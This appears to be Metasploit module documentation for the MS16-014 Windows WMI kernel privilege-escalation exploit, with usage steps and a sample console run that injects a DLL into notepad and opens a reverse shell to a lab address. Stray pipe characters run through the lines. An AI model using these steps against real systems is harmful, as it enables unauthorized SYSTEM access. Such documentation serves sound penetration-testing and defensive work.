## Intro
|
||||||
|
|
||||||
|
This module exploits an uninitialized stack variable vulnerability
|
||||||
|
present in the WMI subsystem of `ntoskrnl`. The vulnerability is
|
||||||
|
described by MS16-014 and CVE-2016-0040. The module allows the user to
|
||||||
|
elevate privileges (NT AUTHORITY\SYSTEM)
|
||||||
|
|
||||||
|
This module works against Windows7x64 SP0 and SP1
|
||||||
|
It was tested on and fails against Windows 8x64 - Windows 10x64 r1703
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
- [ ] obtain a session on the target system
|
||||||
|
- [ ] set the `payload`
|
||||||
|
- [ ] set the `session`
|
||||||
|
- [ ] `run`
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Windows 7x64 SP1
|
||||||
|
|
||||||
|
```
|
||||||
|
meterpreter > background
|
||||||
|
[*] Backgrounding session 0...
|
||||||
|
msf exploit(handler) > use exploits/windows/local/ms16_014_wmi_recv_notif
|
||||||
|
msf exploit(ms16_014_wmi_recv_notif) > set session 0
|
||||||
|
session => 0
|
||||||
|
msf exploit(ms16_014_wmi_recv_notif) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.16.38.170:4444
|
||||||
|
[*] Launching notepad to host the exploit...
|
||||||
|
[+] Process 3948 launched.
|
||||||
|
[*] Reflectively injecting the exploit DLL into 3948...
|
||||||
|
[*] Injecting exploit into 3948...
|
||||||
|
[*] Exploit injected. Injecting payload into 3948...
|
||||||
|
[*] Payload injected. Executing exploit...
|
||||||
|
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
|
||||||
|
[*] Command shell session 2 opened (172.16.38.170:4444 -> 172.16.38.129:49695) at 2018-03-07 08:27:57 -0800
